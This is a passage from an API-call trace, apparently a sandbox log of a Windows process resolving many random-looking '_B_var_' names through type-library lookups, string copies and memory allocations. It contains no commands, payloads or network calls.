pfName=0x304f80*=0, pBstrLibName=0x304eb0) returned 0x0 [0019.107] IUnknown:Release (This=0x7919ac0) returned 0x4 [0019.107] IMalloc:Alloc (This=0x7fefe9e5380, cb=0x13) returned 0x79720e0 [0019.107] strcpy_s (in: _Dst=0x305210, _DstSize=0x13, _Src="_B_var_CwjdjGupIma" | out: _Dst="_B_var_CwjdjGupIma") returned 0x0 [0019.107] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x305210, cbMultiByte=19, lpWideCharStr=0x305060, cchWideChar=19 | out: lpWideCharStr="_B_var_CwjdjGupIma") returned 19 [0019.107] IUnknown:AddRef (This=0x7919520) returned 0x11 [0019.107] ITypeLib:RemoteIsName (in: This=0x7919520, szNameBuf="_B_var_CwjdjGupIma", lHashVal=0x107d71, pfName=0x305130, pBstrLibName=0x305060 | out: pfName=0x305130*=0, pBstrLibName=0x305060) returned 0x0 [0019.107] IUnknown:Release (This=0x7919520) returned 0x10 [0019.107] IUnknown:AddRef (This=0x7346470) returned 0xc [0019.107] ITypeLib:RemoteIsName (in: This=0x7346470, szNameBuf="_B_var_CwjdjGupIma", lHashVal=0x107d71, pfName=0x305130, pBstrLibName=0x305060 | out: pfName=0x305130*=0, pBstrLibName=0x305060) returned 0x0 [0019.107] IUnknown:Release (This=0x7346470) returned 0xb [0019.107] IUnknown:AddRef (This=0x7345930) returned 0x8 [0019.107] ITypeLib:RemoteIsName (in: This=0x7345930, szNameBuf="_B_var_CwjdjGupIma", lHashVal=0x107d71, pfName=0x305130, pBstrLibName=0x305060 | out: pfName=0x305130*=0, pBstrLibName=0x305060) returned 0x0 [0019.107] IUnknown:Release (This=0x7345930) returned 0x7 [0019.107] IUnknown:AddRef (This=0x7919ac0) returned 0x5 [0019.107] ITypeLib:RemoteIsName (in: This=0x7919ac0, szNameBuf="_B_var_CwjdjGupIma", lHashVal=0x107d71, pfName=0x305130, pBstrLibName=0x305060 | out: pfName=0x305130*=0, pBstrLibName=0x305060) returned 0x0 [0019.107] IUnknown:Release (This=0x7919ac0) returned 0x4 [0019.107] IUnknown:AddRef (This=0x7919520) returned 0x11 [0019.107] IUnknown:Release (This=0x7919520) returned 0x10 [0019.108] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="TAahZrEkfA") returned 0x10a37f [0019.108] strcpy_s (in: _Dst=0x305060, _DstSize=0xb, _Src="TAahZrEkfA" | out: _Dst="TAahZrEkfA") returned 0x0 [0019.108] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x305060, cbMultiByte=11, lpWideCharStr=0x304eb0, cchWideChar=11 | out: lpWideCharStr="TAahZrEkfA") returned 11 [0019.108] IUnknown:AddRef (This=0x7919520) returned 0x11 [0019.108] ITypeLib:RemoteIsName (in: This=0x7919520, szNameBuf="TAahZrEkfA", lHashVal=0x10a37f, pfName=0x304f80, pBstrLibName=0x304eb0 | out: pfName=0x304f80*=0, pBstrLibName=0x304eb0) returned 0x0 [0019.108] IUnknown:Release (This=0x7919520) returned 0x10 [0019.108] IUnknown:AddRef (This=0x7346470) returned 0xc [0019.108] ITypeLib:RemoteIsName (in: This=0x7346470, szNameBuf="TAahZrEkfA", lHashVal=0x10a37f, pfName=0x304f80, pBstrLibName=0x304eb0 | out: pfName=0x304f80*=0, pBstrLibName=0x304eb0) returned 0x0 [0019.108] IUnknown:Release (This=0x7346470) returned 0xb [0019.108] IUnknown:AddRef (This=0x7345930) returned 0x8 [0019.108] ITypeLib:RemoteIsName (in: This=0x7345930, szNameBuf="TAahZrEkfA", lHashVal=0x10a37f, pfName=0x304f80, pBstrLibName=0x304eb0 | out: pfName=0x304f80*=0, pBstrLibName=0x304eb0) returned 0x0 [0019.108] IUnknown:Release (This=0x7345930) returned 0x7 [0019.108] IUnknown:AddRef (This=0x7919ac0) returned 0x5 [0019.108] ITypeLib:RemoteIsName (in: This=0x7919ac0, szNameBuf="TAahZrEkfA", lHashVal=0x10a37f, pfName=0x304f80, pBstrLibName=0x304eb0 | out: pfName=0x304f80*=0, pBstrLibName=0x304eb0) returned 0x0 [0019.108] IUnknown:Release (This=0x7919ac0) returned 0x4 [0019.108] IMalloc:Alloc (This=0x7fefe9e5380, cb=0x12) returned 0x79720e0 [0019.108] strcpy_s (in: _Dst=0x305210, _DstSize=0x12, _Src="_B_var_TAahZrEkfA" | out: _Dst="_B_var_TAahZrEkfA") returned 0x0 [0019.109] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x305210, cbMultiByte=18, lpWideCharStr=0x305060, cchWideChar=18 | out: lpWideCharStr="_B_var_TAahZrEkfA") returned 18 [0019.109] IUnknown:AddRef (This=0x7919520) returned 0x11 [0019.109] ITypeLib:RemoteIsName (in: This=0x7919520, szNameBuf="_B_var_TAahZrEkfA", lHashVal=0x1011aa, pfName=0x305130, pBstrLibName=0x305060 | out: pfName=0x305130*=0, pBstrLibName=0x305060) returned 0x0 [0019.109] IUnknown:Release (This=0x7919520) returned 0x10 [0019.109] IUnknown:AddRef (This=0x7346470) returned 0xc [0019.109] ITypeLib:RemoteIsName (in: This=0x7346470, szNameBuf="_B_var_TAahZrEkfA", lHashVal=0x1011aa, pfName=0x305130, pBstrLibName=0x305060 | out: pfName=0x305130*=0, pBstrLibName=0x305060) returned 0x0 [0019.109] IUnknown:Release (This=0x7346470) returned 0xb [0019.109] IUnknown:AddRef (This=0x7345930) returned 0x8 [0019.109] ITypeLib:RemoteIsName (in: This=0x7345930, szNameBuf="_B_var_TAahZrEkfA", lHashVal=0x1011aa, pfName=0x305130, pBstrLibName=0x305060 | out: pfName=0x305130*=0, pBstrLibName=0x305060) returned 0x0 [0019.109] IUnknown:Release (This=0x7345930) returned 0x7 [0019.109] IUnknown:AddRef (This=0x7919ac0) returned 0x5 [0019.109] ITypeLib:RemoteIsName (in: This=0x7919ac0, szNameBuf="_B_var_TAahZrEkfA", lHashVal=0x1011aa, pfName=0x305130, pBstrLibName=0x305060 | out: pfName=0x305130*=0, pBstrLibName=0x305060) returned 0x0 [0019.109] IUnknown:Release (This=0x7919ac0) returned 0x4 [0019.109] IUnknown:AddRef (This=0x7919520) returned 0x11 [0019.109] IUnknown:Release (This=0x7919520) returned 0x10 [0019.109] VirtualAlloc (lpAddress=0x0, dwSize=0x4000, flAllocationType=0x1000, flProtect=0x4) returned 0xd430000 [0019.111] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="SzcVGSprEp") returned 0x103db3 [0019.111] strcpy_s (in: _Dst=0x305060, _DstSize=0xb, _Src="SzcVGSprEp" | out: _Dst="SzcVGSprEp") returned 0x0 [0019.111] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x305060, cbMultiByte=11, lpWideCharStr=0x304eb0, cchWideChar=11 | out: lpWideCharStr="SzcVGSprEp") returned 11 [0019.111] IUnknown:AddRef (This=0x7919520) returned 0x11 [0019.111] ITypeLib:RemoteIsName (in: This=0x7919520, szNameBuf="SzcVGSprEp", lHashVal=0x103db3, pfName=0x304f80, pBstrLibName=0x304eb0 | out: pfName=0x304f80*=0, pBstrLibName=0x304eb0) returned 0x0 [0019.111] IUnknown:Release (This=0x7919520) returned 0x10 [0019.111] IUnknown:AddRef (This=0x7346470) returned 0xc [0019.111] ITypeLib:RemoteIsName (in: This=0x7346470, szNameBuf="SzcVGSprEp", lHashVal=0x103db3, pfName=0x304f80, pBstrLibName=0x304eb0 | out: pfName=0x304f80*=0, pBstrLibName=0x304eb0) returned 0x0 [0019.111] IUnknown:Release (This=0x7346470) returned 0xb [0019.111] IUnknown:AddRef (This=0x7345930) returned 0x8 [0019.111] ITypeLib:RemoteIsName (in: This=0x7345930, szNameBuf="SzcVGSprEp", lHashVal=0x103db3, pfName=0x304f80, pBstrLibName=0x304eb0 | out: pfName=0x304f80*=0, pBstrLibName=0x304eb0) returned 0x0 [0019.111] IUnknown:Release (This=0x7345930) returned 0x7 [0019.111] IUnknown:AddRef (This=0x7919ac0) returned 0x5 [0019.111] ITypeLib:RemoteIsName (in: This=0x7919ac0, szNameBuf="SzcVGSprEp", lHashVal=0x103db3, pfName=0x304f80, pBstrLibName=0x304eb0 | out: pfName=0x304f80*=0, pBstrLibName=0x304eb0) returned 0x0 [0019.111] IUnknown:Release (This=0x7919ac0) returned 0x4 [0019.111] IMalloc:Alloc (This=0x7fefe9e5380, cb=0x12) returned 0x79720e0 [0019.111] strcpy_s (in: _Dst=0x305210, _DstSize=0x12, _Src="_B_var_SzcVGSprEp" | out: _Dst="_B_var_SzcVGSprEp") returned 0x0 [0019.111] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x305210, cbMultiByte=18, lpWideCharStr=0x305060, cchWideChar=18 | out: lpWideCharStr="_B_var_SzcVGSprEp") returned 18 [0019.111] IUnknown:AddRef (This=0x7919520) returned 0x11 [0019.111] ITypeLib:RemoteIsName (in: This=0x7919520, szNameBuf="_B_var_SzcVGSprEp", lHashVal=0x10ac1d, pfName=0x305130, pBstrLibName=0x305060 | out: pfName=0x305130*=0, pBstrLibName=0x305060) returned 0x0 [0019.111] IUnknown:Release (This=0x7919520) returned 0x10 [0019.111] IUnknown:AddRef (This=0x7346470) returned 0xc [0019.111] ITypeLib:RemoteIsName (in: This=0x7346470, szNameBuf="_B_var_SzcVGSprEp", lHashVal=0x10ac1d, pfName=0x305130, pBstrLibName=0x305060 | out: pfName=0x305130*=0, pBstrLibName=0x305060) returned 0x0 [0019.111] IUnknown:Release (This=0x7346470) returned 0xb [0019.111] IUnknown:AddRef (This=0x7345930) returned 0x8 [0019.111] ITypeLib:RemoteIsName (in: This=0x7345930, szNameBuf="_B_var_SzcVGSprEp", lHashVal=0x10ac1d, pfName=0x305130, pBstrLibName=0x305060 | out: pfName=0x305130*=0, pBstrLibName=0x305060) returned 0x0 [0019.111] IUnknown:Release (This=0x7345930) returned 0x7 [0019.111] IUnknown:AddRef (This=0x7919ac0) returned 0x5 [0019.111] ITypeLib:RemoteIsName (in: This=0x7919ac0, szNameBuf="_B_var_SzcVGSprEp", lHashVal=0x10ac1d, pfName=0x305130, pBstrLibName=0x305060 | out: pfName=0x305130*=0, pBstrLibName=0x305060) returned 0x0 [0019.111] IUnknown:Release (This=0x7919ac0) returned 0x4 [0019.111] IUnknown:AddRef (This=0x7919520) returned 0x11 [0019.111] IUnknown:Release (This=0x7919520) returned 0x10 [0019.112] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="IroNYtzZKL") returned 0x1059a0 [0019.112] strcpy_s (in: _Dst=0x305060, _DstSize=0xb, _Src="IroNYtzZKL" | out: _Dst="IroNYtzZKL") returned 0x0 [0019.112] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x305060, cbMultiByte=11, lpWideCharStr=0x304eb0, cchWideChar=11 | out: lpWideCharStr="IroNYtzZKL") returned 11 [0019.112] IUnknown:AddRef (This=0x7919520) returned 0x11 [0019.112] ITypeLib:RemoteIsName (in: This=0x7919520, szNameBuf="IroNYtzZKL", lHashVal=0x1059a0, pfName=0x304f80, pBstrLibName=0x304eb0 | out: pfName=0x304f80*=0, pBstrLibName=0x304eb0) returned 0x0 [0019.112] IUnknown:Release (This=0x7919520) returned 0x10 [0019.112] IUnknown:AddRef (This=0x7346470) returned 0xc [0019.112] ITypeLib:RemoteIsName (in: This=0x7346470, szNameBuf="IroNYtzZKL", lHashVal=0x1059a0, pfName=0x304f80, pBstrLibName=0x304eb0 | out: pfName=0x304f80*=0, pBstrLibName=0x304eb0) returned 0x0 [0019.112] IUnknown:Release (This=0x7346470) returned 0xb [0019.112] IUnknown:AddRef (This=0x7345930) returned 0x8 [0019.112] ITypeLib:RemoteIsName (in: This=0x7345930, szNameBuf="IroNYtzZKL", lHashVal=0x1059a0, pfName=0x304f80, pBstrLibName=0x304eb0 | out: pfName=0x304f80*=0, pBstrLibName=0x304eb0) returned 0x0 [0019.112] IUnknown:Release (This=0x7345930) returned 0x7 [0019.112] IUnknown:AddRef (This=0x7919ac0) returned 0x5 [0019.112] ITypeLib:RemoteIsName (in: This=0x7919ac0, szNameBuf="IroNYtzZKL", lHashVal=0x1059a0, pfName=0x304f80, pBstrLibName=0x304eb0 | out: pfName=0x304f80*=0, pBstrLibName=0x304eb0) returned 0x0 [0019.112] IUnknown:Release (This=0x7919ac0) returned 0x4 [0019.112] IMalloc:Alloc (This=0x7fefe9e5380, cb=0x12) returned 0x79720e0 [0019.112] strcpy_s (in: _Dst=0x305210, _DstSize=0x12, _Src="_B_var_IroNYtzZKL" | out: _Dst="_B_var_IroNYtzZKL") returned 0x0 [0019.112] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x305210, cbMultiByte=18, lpWideCharStr=0x305060, cchWideChar=18 | out: lpWideCharStr="_B_var_IroNYtzZKL") returned 18 [0019.112] IUnknown:AddRef (This=0x7919520) returned 0x11 [0019.112] ITypeLib:RemoteIsName (in: This=0x7919520, szNameBuf="_B_var_IroNYtzZKL", lHashVal=0x10c80a, pfName=0x305130, pBstrLibName=0x305060 | out: pfName=0x305130*=0, pBstrLibName=0x305060) returned 0x0 [0019.112] IUnknown:Release (This=0x7919520) returned 0x10 [0019.112] IUnknown:AddRef (This=0x7346470) returned 0xc [0019.112] ITypeLib:RemoteIsName (in: This=0x7346470, szNameBuf="_B_var_IroNYtzZKL", lHashVal=0x10c80a, pfName=0x305130, pBstrLibName=0x305060 | out: pfName=0x305130*=0, pBstrLibName=0x305060) returned 0x0 [0019.112] IUnknown:Release (This=0x7346470) returned 0xb [0019.112] IUnknown:AddRef (This=0x7345930) returned 0x8 [0019.112] ITypeLib:RemoteIsName (in: This=0x7345930, szNameBuf="_B_var_IroNYtzZKL", lHashVal=0x10c80a, pfName=0x305130, pBstrLibName=0x305060 | out: pfName=0x305130*=0, pBstrLibName=0x305060) returned 0x0 [0019.112] IUnknown:Release (This=0x7345930) returned 0x7 [0019.112] IUnknown:AddRef (This=0x7919ac0) returned 0x5 [0019.112] ITypeLib:RemoteIsName (in: This=0x7919ac0, szNameBuf="_B_var_IroNYtzZKL", lHashVal=0x10c80a, pfName=0x305130, pBstrLibName=0x305060 | out: pfName=0x305130*=0, pBstrLibName=0x305060) returned 0x0 [0019.112] IUnknown:Release (This=0x7919ac0) returned 0x4 [0019.112] IUnknown:AddRef (This=0x7919520) returned 0x11 [0019.112] IUnknown:Release (This=0x7919520) returned 0x10 [0019.113] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb7a076, cbMultiByte=10, lpWideCharStr=0xd433cfe, cchWideChar=22 | out: lpWideCharStr="PCqmziiSCj") returned 10 [0019.113] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb7a08a, cbMultiByte=10, lpWideCharStr=0xd433ea8, cchWideChar=22 | out: lpWideCharStr="NLaUGzrtjf") returned 10 [0019.113] VirtualAlloc (lpAddress=0x0, dwSize=0x4000, flAllocationType=0x1000, flProtect=0x4) returned 0xd440000 [0019.114] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb7a09e, cbMultiByte=10, lpWideCharStr=0xd440064, cchWideChar=22 | out: lpWideCharStr="UfNGwiMcfz") returned 10 [0019.114] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb7a0b2, cbMultiByte=10, lpWideCharStr=0xd44020e, cchWideChar=22 | out: lpWideCharStr="YMBuGJdKKS") returned 10 [0019.114] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb7a0c6, cbMultiByte=10, lpWideCharStr=0xd4403b8, cchWideChar=22 | out: lpWideCharStr="zsjIJjHbjT") returned 10 [0019.114] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb7a0da, cbMultiByte=10, lpWideCharStr=0xd440562, cchWideChar=22 | out: lpWideCharStr="wjfmKjokqO") returned 10 [0019.114] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb7a0ee, cbMultiByte=10, lpWideCharStr=0xd44070c, cchWideChar=22 | out: lpWideCharStr="VCmFIAJjOz") returned 10 [0019.114] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="zlnaNGHiPEq") returned 0x1078af [0019.114] strcpy_s (in: _Dst=0x305060, _DstSize=0xc, _Src="zlnaNGHiPEq" | out: _Dst="zlnaNGHiPEq") returned 0x0 [0019.114] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x305060, cbMultiByte=12, lpWideCharStr=0x304eb0, cchWideChar=12 | out: lpWideCharStr="zlnaNGHiPEq") returned 12 [0019.114] IUnknown:AddRef (This=0x7919520) returned 0x11 [0019.114] ITypeLib:RemoteIsName (in: This=0x7919520, szNameBuf="zlnaNGHiPEq", lHashVal=0x1078af, pfName=0x304f80, pBstrLibName=0x304eb0 | out: pfName=0x304f80*=0, pBstrLibName=0x304eb0) returned 0x0 [0019.115] IUnknown:Release (This=0x7919520) returned 0x10 [0019.115] IUnknown:AddRef (This=0x7346470) returned 0xc [0019.115] ITypeLib:RemoteIsName (in: This=0x7346470, szNameBuf="zlnaNGHiPEq", lHashVal=0x1078af, pfName=0x304f80, pBstrLibName=0x304eb0 | out: pfName=0x304f80*=0, pBstrLibName=0x304eb0) returned 0x0 [0019.115] IUnknown:Release (This=0x7346470) returned 0xb [0019.115] IUnknown:AddRef (This=0x7345930) returned 0x8 [0019.115] ITypeLib:RemoteIsName (in: This=0x7345930, szNameBuf="zlnaNGHiPEq", lHashVal=0x1078af, pfName=0x304f80, pBstrLibName=0x304eb0 | out: pfName=0x304f80*=0, pBstrLibName=0x304eb0) returned 0x0 [0019.115] IUnknown:Release (This=0x7345930) returned 0x7 [0019.115] IUnknown:AddRef (This=0x7919ac0) returned 0x5 [0019.115] ITypeLib:RemoteIsName (in: This=0x7919ac0, szNameBuf="zlnaNGHiPEq", lHashVal=0x1078af, pfName=0x304f80, pBstrLibName=0x304eb0 | out: pfName=0x304f80*=0, pBstrLibName=0x304eb0) returned 0x0 [0019.115] IUnknown:Release (This=0x7919ac0) returned 0x4 [0019.115] IMalloc:Alloc (This=0x7fefe9e5380, cb=0x13) returned 0x79720e0 [0019.115] strcpy_s (in: _Dst=0x305210, _DstSize=0x13, _Src="_B_var_zlnaNGHiPEq" | out: _Dst="_B_var_zlnaNGHiPEq") returned 0x0 [0019.115] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x305210, cbMultiByte=19, lpWideCharStr=0x305060, cchWideChar=19 | out: lpWideCharStr="_B_var_zlnaNGHiPEq") returned 19 [0019.115] IUnknown:AddRef (This=0x7919520) returned 0x11 [0019.115] ITypeLib:RemoteIsName (in: This=0x7919520, szNameBuf="_B_var_zlnaNGHiPEq", lHashVal=0x105a90, pfName=0x305130, pBstrLibName=0x305060 | out: pfName=0x305130*=0, pBstrLibName=0x305060) returned 0x0 [0019.115] IUnknown:Release (This=0x7919520) returned 0x10 [0019.115] IUnknown:AddRef (This=0x7346470) returned 0xc [0019.115] ITypeLib:RemoteIsName (in: This=0x7346470, szNameBuf="_B_var_zlnaNGHiPEq", lHashVal=0x105a90, pfName=0x305130, pBstrLibName=0x305060 | out: pfName=0x305130*=0, pBstrLibName=0x305060) returned 0x0 [0019.115] IUnknown:Release (This=0x7346470) returned 0xb [0019.115] IUnknown:AddRef (This=0x7345930) returned 0x8 [0019.115] ITypeLib:RemoteIsName (in: This=0x7345930, szNameBuf="_B_var_zlnaNGHiPEq", lHashVal=0x105a90, pfName=0x305130, pBstrLibName=0x305060 | out: pfName=0x305130*=0, pBstrLibName=0x305060) returned 0x0 [0019.115] IUnknown:Release (This=0x7345930) returned 0x7 [0019.115] IUnknown:AddRef (This=0x7919ac0) returned 0x5 [0019.115] ITypeLib:RemoteIsName (in: This=0x7919ac0, szNameBuf="_B_var_zlnaNGHiPEq", lHashVal=0x105a90, pfName=0x305130, pBstrLibName=0x305060 | out: pfName=0x305130*=0, pBstrLibName=0x305060) returned 0x0 [0019.115] IUnknown:Release (This=0x7919ac0) returned 0x4 [0019.115] IUnknown:AddRef (This=0x7919520) returned 0x11 [0019.115] IUnknown:Release (This=0x7919520) returned 0x10 [0019.115] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb7a126, cbMultiByte=10, lpWideCharStr=0xd442fc8, cchWideChar=22 | out: lpWideCharStr="CKwaLLcApp") returned 10 [0019.115] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb7a13a, cbMultiByte=10, lpWideCharStr=0xd443172, cchWideChar=22 | out: lpWideCharStr="MBNSVCouEr") returned 10 [0019.116] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb7a14e, cbMultiByte=10, lpWideCharStr=0xd44331c, cchWideChar=22 | out: lpWideCharStr="XWfGssBXzJ") returned 10 [0019.116] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb7a162, cbMultiByte=10, lpWideCharStr=0xd4434c6, cchWideChar=22 | out: lpWideCharStr="TBwtjkSjqc") returned 10 [0019.116] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb7a176, cbMultiByte=10, lpWideCharStr=0xd443670, cchWideChar=22 | out: lpWideCharStr="IEBRwoQDNm") returned 10 [0019.116] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb7a18a, cbMultiByte=10, lpWideCharStr=0xd44381a, cchWideChar=22 | out: lpWideCharStr="pkRRwjfsiT") returned 10 [0019.116] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb7a19e, cbMultiByte=10, lpWideCharStr=0xd4439c4, cchWideChar=22 | out: lpWideCharStr="JFCjWLCTjl") returned 10 [0019.116] VirtualAlloc (lpAddress=0x0, dwSize=0x4000, flAllocationType=0x1000, flProtect=0x4) returned 0xd450000 [0019.117] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="dZBRz") returned 0x102184 [0019.117] strcpy_s (in: _Dst=0x305060, _DstSize=0x6, _Src="dZBRz" | out: _Dst="dZBRz") returned 0x0 [0019.117] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x305060, cbMultiByte=6, lpWideCharStr=0x304eb0, cchWideChar=6 | out: lpWideCharStr="dZBRz") returned 6 [0019.117] IUnknown:AddRef (This=0x7919520) returned 0x11 [0019.117] ITypeLib:RemoteIsName (in: This=0x7919520, szNameBuf="dZBRz", lHashVal=0x102184, pfName=0x304f80, pBstrLibName=0x304eb0 | out: pfName=0x304f80*=0, pBstrLibName=0x304eb0) returned 0x0 [0019.117] IUnknown:Release (This=0x7919520) returned 0x10 [0019.117] IUnknown:AddRef (This=0x7346470) returned 0xc [0019.117] ITypeLib:RemoteIsName (in: This=0x7346470, szNameBuf="dZBRz", lHashVal=0x102184, pfName=0x304f80, pBstrLibName=0x304eb0 | out: pfName=0x304f80*=0, pBstrLibName=0x304eb0) returned 0x0 [0019.117] IUnknown:Release (This=0x7346470) returned 0xb [0019.117] IUnknown:AddRef (This=0x7345930) returned 0x8 [0019.117] ITypeLib:RemoteIsName (in: This=0x7345930, szNameBuf="dZBRz", lHashVal=0x102184, pfName=0x304f80, pBstrLibName=0x304eb0 | out: pfName=0x304f80*=0, pBstrLibName=0x304eb0) returned 0x0 [0019.117] IUnknown:Release (This=0x7345930) returned 0x7 [0019.117] IUnknown:AddRef (This=0x7919ac0) returned 0x5 [0019.117] ITypeLib:RemoteIsName (in: This=0x7919ac0, szNameBuf="dZBRz", lHashVal=0x102184, pfName=0x304f80, pBstrLibName=0x304eb0 | out: pfName=0x304f80*=0, pBstrLibName=0x304eb0) returned 0x0 [0019.117] IUnknown:Release (This=0x7919ac0) returned 0x4 [0019.117] IMalloc:Alloc (This=0x7fefe9e5380, cb=0xd) returned 0x79720e0 [0019.118] strcpy_s (in: _Dst=0x305210, _DstSize=0xd, _Src="_B_var_dZBRz" | out: _Dst="_B_var_dZBRz") returned 0x0 [0019.118] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x305210, cbMultiByte=13, lpWideCharStr=0x305060, cchWideChar=13 | out: lpWideCharStr="_B_var_dZBRz") returned 13 [0019.118] IUnknown:AddRef (This=0x7919520) returned 0x11 [0019.118] ITypeLib:RemoteIsName (in: This=0x7919520, szNameBuf="_B_var_dZBRz", lHashVal=0x10e5b0, pfName=0x305130, pBstrLibName=0x305060 | out: pfName=0x305130*=0, pBstrLibName=0x305060) returned 0x0 [0019.118] IUnknown:Release (This=0x7919520) returned 0x10 [0019.118] IUnknown:AddRef (This=0x7346470) returned 0xc [0019.118] ITypeLib:RemoteIsName (in: This=0x7346470, szNameBuf="_B_var_dZBRz", lHashVal=0x10e5b0, pfName=0x305130, pBstrLibName=0x305060 | out: pfName=0x305130*=0, pBstrLibName=0x305060) returned 0x0 [0019.118] IUnknown:Release (This=0x7346470) returned 0xb [0019.118] IUnknown:AddRef (This=0x7345930) returned 0x8 [0019.118] ITypeLib:RemoteIsName (in: This=0x7345930, szNameBuf="_B_var_dZBRz", lHashVal=0x10e5b0, pfName=0x305130, pBstrLibName=0x305060 | out: pfName=0x305130*=0, pBstrLibName=0x305060) returned 0x0 [0019.118] IUnknown:Release (This=0x7345930) returned 0x7 [0019.118] IUnknown:AddRef (This=0x7919ac0) returned 0x5 [0019.118] ITypeLib:RemoteIsName (in: This=0x7919ac0, szNameBuf="_B_var_dZBRz", lHashVal=0x10e5b0, pfName=0x305130, pBstrLibName=0x305060 | out: pfName=0x305130*=0, pBstrLibName=0x305060) returned 0x0 [0019.118] IUnknown:Release (This=0x7919ac0) returned 0x4 [0019.118] IUnknown:AddRef (This=0x7919520) returned 0x11 [0019.118] IUnknown:Release (This=0x7919520) returned 0x10 [0019.118] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb7a1d6, cbMultiByte=10, lpWideCharStr=0xd452296, cchWideChar=22 | out: lpWideCharStr="WwjCMKASMN") returned 10 [0019.118] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb7a1ea, cbMultiByte=10, lpWideCharStr=0xd452440, cchWideChar=22 | out: lpWideCharStr="jNiZmiXCot") returned 10 [0019.118] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb7a1fe, cbMultiByte=10, lpWideCharStr=0xd4525ea, cchWideChar=22 | out: lpWideCharStr="XrDBYFsKHC") returned 10 [0019.118] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb7a212, cbMultiByte=10, lpWideCharStr=0xd452794, cchWideChar=22 | out: lpWideCharStr="DrnRQDMvHh") returned 10 [0019.118] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb7a226, cbMultiByte=10, lpWideCharStr=0xd45293e, cchWideChar=22 | out: lpWideCharStr="mVGQbtciVd") returned 10 [0019.118] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb7a23a, cbMultiByte=10, lpWideCharStr=0xd452ae8, cchWideChar=22 | out: lpWideCharStr="tYwBTiufdG") returned 10 [0019.119] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb7a24e, cbMultiByte=10, lpWideCharStr=0xd452c92, cchWideChar=22 | out: lpWideCharStr="SpKKJpaQIi") returned 10 [0019.119] VirtualAlloc (lpAddress=0x0, dwSize=0x4000, flAllocationType=0x1000, flProtect=0x4) returned 0xd460000 [0019.120] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="IlwvfZ") returned 0x10f947 [0019.120] strcpy_s (in: _Dst=0x305060, _DstSize=0x7, _Src="IlwvfZ" | out: _Dst="IlwvfZ") returned 0x0 [0019.120] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x305060, cbMultiByte=7, lpWideCharStr=0x304eb0, cchWideChar=7 | out: lpWideCharStr="IlwvfZ") returned 7 [0019.120] IUnknown:AddRef (This=0x7919520) returned 0x11 [0019.120] ITypeLib:RemoteIsName (in: This=0x7919520, szNameBuf="IlwvfZ", lHashVal=0x10f947, pfName=0x304f80, pBstrLibName=0x304eb0 | out: pfName=0x304f80*=0, pBstrLibName=0x304eb0) returned 0x0 [0019.120] IUnknown:Release (This=0x7919520) returned 0x10 [0019.120] IUnknown:AddRef (This=0x7346470) returned 0xc [0019.120] ITypeLib:RemoteIsName (in: This=0x7346470, szNameBuf="IlwvfZ", lHashVal=0x10f947, pfName=0x304f80, pBstrLibName=0x304eb0 | out: pfName=0x304f80*=0, pBstrLibName=0x304eb0) returned 0x0 [0019.120] IUnknown:Release (This=0x7346470) returned 0xb [0019.120] IUnknown:AddRef (This=0x7345930) returned 0x8 [0019.120] ITypeLib:RemoteIsName (in: This=0x7345930, szNameBuf="IlwvfZ", lHashVal=0x10f947, pfName=0x304f80, pBstrLibName=0x304eb0 | out: pfName=0x304f80*=0, pBstrLibName=0x304eb0) returned 0x0 [0019.120] IUnknown:Release (This=0x7345930) returned 0x7 [0019.120] IUnknown:AddRef (This=0x7919ac0) returned 0x5 [0019.120] ITypeLib:RemoteIsName (in: This=0x7919ac0, szNameBuf="IlwvfZ", lHashVal=0x10f947, pfName=0x304f80, pBstrLibName=0x304eb0 | out: 